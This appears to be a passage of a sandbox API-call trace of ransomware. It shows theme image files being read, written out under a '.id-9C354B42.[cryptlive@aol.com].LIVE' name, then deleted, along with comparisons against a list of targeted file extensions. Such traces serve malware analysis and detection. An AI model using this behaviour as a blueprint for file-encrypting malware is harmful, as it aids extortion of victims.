lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.833] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0049.833] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0049.833] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0049.833] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1363) returned 1 [0049.833] CloseHandle (hObject=0x188) returned 1 [0049.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif")) returned 0x20 [0049.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0049.834] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0049.834] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.834] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.834] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0049.836] GetLastError () returned 0x0 [0049.836] ReadFile (in: hFile=0x188, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x553, lpOverlapped=0x0) returned 1 [0049.838] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x560, lpOverlapped=0x0) returned 1 [0049.838] ReadFile (in: hFile=0x188, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.838] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xea, lpOverlapped=0x0) returned 1 [0049.839] SetEndOfFile (hFile=0x1f8) returned 1 [0049.839] CloseHandle (hObject=0x1f8) returned 1 [0049.840] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.840] SetEndOfFile (hFile=0x188) returned 1 [0049.840] CloseHandle (hObject=0x188) returned 1 [0049.841] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0049.841] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif")) returned 1 [0049.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0049.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0049.841] lstrlenW (lpString=".doc") returned 4 [0049.841] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.841] lstrlenW (lpString=".docx") returned 5 [0049.841] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.841] lstrlenW (lpString=".pdf") returned 4 [0049.841] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.841] lstrlenW (lpString=".xls") returned 4 [0049.841] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.841] lstrlenW (lpString=".xlsx") returned 5 [0049.841] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.841] lstrlenW (lpString=".ppt") returned 4 [0049.841] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0049.841] lstrlenW (lpString=".zip") returned 4 [0049.841] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.841] lstrlenW (lpString=".rar") returned 4 [0049.841] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.842] lstrlenW (lpString=".bz2") returned 4 [0049.842] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.842] lstrlenW (lpString=".7z") returned 3 [0049.842] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0049.842] lstrlenW (lpString=".dbf") returned 4 [0049.842] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0049.842] lstrlenW (lpString=".1cd") returned 4 [0049.842] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0049.842] lstrlenW (lpString=".jpg") returned 4 [0049.842] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0049.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0049.842] lstrlenW (lpString=".doc") returned 4 [0049.842] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.842] lstrlenW (lpString=".docx") returned 5 [0049.842] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.842] lstrlenW (lpString=".pdf") returned 4 [0049.842] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.842] lstrlenW (lpString=".xls") returned 4 [0049.842] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.842] lstrlenW (lpString=".xlsx") returned 5 [0049.842] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.842] lstrlenW (lpString=".ppt") returned 4 [0049.842] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0049.842] lstrlenW (lpString=".zip") returned 4 [0049.842] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.842] lstrlenW (lpString=".rar") returned 4 [0049.842] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.843] lstrlenW (lpString=".bz2") returned 4 [0049.843] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.843] lstrlenW (lpString=".7z") returned 3 [0049.843] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0049.843] lstrlenW (lpString=".dbf") returned 4 [0049.843] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0049.843] lstrlenW (lpString=".1cd") returned 4 [0049.843] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0049.843] lstrlenW (lpString=".jpg") returned 4 [0049.843] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.843] lstrcmpiW (lpString1=".PNG", lpString2=".LIVE") returned 1 [0049.843] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0049.843] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0049.843] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=20371) returned 1 [0049.844] CloseHandle (hObject=0x188) returned 1 [0049.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png")) returned 0x20 [0049.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0049.844] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0049.844] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.844] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.844] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0049.844] GetLastError () returned 0x0 [0049.844] ReadFile (in: hFile=0x188, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x4f93, lpOverlapped=0x0) returned 1 [0050.143] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x4fa0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x4fa0, lpOverlapped=0x0) returned 1 [0050.144] ReadFile (in: hFile=0x188, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.144] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0050.144] SetEndOfFile (hFile=0x1f8) returned 1 [0050.144] CloseHandle (hObject=0x1f8) returned 1 [0050.145] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.145] SetEndOfFile (hFile=0x188) returned 1 [0050.146] CloseHandle (hObject=0x188) returned 1 [0050.147] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0050.147] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png")) returned 1 [0050.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0050.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0050.147] lstrlenW (lpString=".doc") returned 4 [0050.147] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0050.147] lstrlenW (lpString=".docx") returned 5 [0050.147] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0050.147] lstrlenW (lpString=".pdf") returned 4 [0050.147] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0050.147] lstrlenW (lpString=".xls") returned 4 [0050.147] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0050.147] lstrlenW (lpString=".xlsx") returned 5 [0050.147] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0050.147] lstrlenW (lpString=".ppt") returned 4 [0050.147] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0050.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0050.147] lstrlenW (lpString=".zip") returned 4 [0050.148] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0050.148] lstrlenW (lpString=".rar") returned 4 [0050.148] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0050.148] lstrlenW (lpString=".bz2") returned 4 [0050.148] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0050.148] lstrlenW (lpString=".7z") returned 3 [0050.148] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0050.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0050.148] lstrlenW (lpString=".dbf") returned 4 [0050.148] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0050.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0050.148] lstrlenW (lpString=".1cd") returned 4 [0050.148] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0050.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0050.148] lstrlenW (lpString=".jpg") returned 4 [0050.148] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0050.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0050.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0050.148] lstrlenW (lpString=".doc") returned 4 [0050.148] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0050.148] lstrlenW (lpString=".docx") returned 5 [0050.148] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0050.148] lstrlenW (lpString=".pdf") returned 4 [0050.148] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0050.148] lstrlenW (lpString=".xls") returned 4 [0050.148] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0050.148] lstrlenW (lpString=".xlsx") returned 5 [0050.148] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0050.148] lstrlenW (lpString=".ppt") returned 4 [0050.148] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0050.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0050.148] lstrlenW (lpString=".zip") returned 4 [0050.148] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0050.149] lstrlenW (lpString=".rar") returned 4 [0050.149] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0050.149] lstrlenW (lpString=".bz2") returned 4 [0050.149] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0050.149] lstrlenW (lpString=".7z") returned 3 [0050.149] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0050.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0050.149] lstrlenW (lpString=".dbf") returned 4 [0050.149] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0050.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0050.149] lstrlenW (lpString=".1cd") returned 4 [0050.149] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0050.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0050.149] lstrlenW (lpString=".jpg") returned 4 [0050.149] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0050.149] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0050.149] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0050.149] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0050.204] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1347) returned 1 [0050.204] CloseHandle (hObject=0x204) returned 1 [0050.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif")) returned 0x20 [0050.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0050.204] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0050.204] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.204] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.204] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0050.711] GetLastError () returned 0x0 [0050.711] ReadFile (in: hFile=0x204, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x543, lpOverlapped=0x0) returned 1 [0050.791] WriteFile (in: hFile=0x1fc, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x550, lpOverlapped=0x0) returned 1 [0050.792] ReadFile (in: hFile=0x204, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.793] WriteFile (in: hFile=0x1fc, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xea, lpOverlapped=0x0) returned 1 [0050.793] SetEndOfFile (hFile=0x1fc) returned 1 [0050.793] CloseHandle (hObject=0x1fc) returned 1 [0050.793] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.793] SetEndOfFile (hFile=0x204) returned 1 [0050.794] CloseHandle (hObject=0x204) returned 1 [0050.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0050.794] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif")) returned 1 [0050.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0050.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0050.794] lstrlenW (lpString=".doc") returned 4 [0050.794] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.795] lstrlenW (lpString=".docx") returned 5 [0050.795] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0050.795] lstrlenW (lpString=".pdf") returned 4 [0050.795] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.795] lstrlenW (lpString=".xls") returned 4 [0050.795] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.795] lstrlenW (lpString=".xlsx") returned 5 [0050.795] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0050.795] lstrlenW (lpString=".ppt") returned 4 [0050.795] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0050.795] lstrlenW (lpString=".zip") returned 4 [0050.795] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.795] lstrlenW (lpString=".rar") returned 4 [0050.795] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.795] lstrlenW (lpString=".bz2") returned 4 [0050.795] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.795] lstrlenW (lpString=".7z") returned 3 [0050.795] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0050.795] lstrlenW (lpString=".dbf") returned 4 [0050.795] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0050.795] lstrlenW (lpString=".1cd") returned 4 [0050.795] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0050.795] lstrlenW (lpString=".jpg") returned 4 [0050.795] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0050.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0050.795] lstrlenW (lpString=".doc") returned 4 [0050.795] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.795] lstrlenW (lpString=".docx") returned 5 [0050.795] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0050.795] lstrlenW (lpString=".pdf") returned 4 [0050.796] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.796] lstrlenW (lpString=".xls") returned 4 [0050.796] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.796] lstrlenW (lpString=".xlsx") returned 5 [0050.796] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0050.796] lstrlenW (lpString=".ppt") returned 4 [0050.796] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0050.796] lstrlenW (lpString=".zip") returned 4 [0050.796] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.796] lstrlenW (lpString=".rar") returned 4 [0050.796] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.796] lstrlenW (lpString=".bz2") returned 4 [0050.796] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.796] lstrlenW (lpString=".7z") returned 3 [0050.796] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0050.796] lstrlenW (lpString=".dbf") returned 4 [0050.796] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0050.796] lstrlenW (lpString=".1cd") returned 4 [0050.796] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0050.796] lstrlenW (lpString=".jpg") returned 4 [0050.796] lstrcmpiW 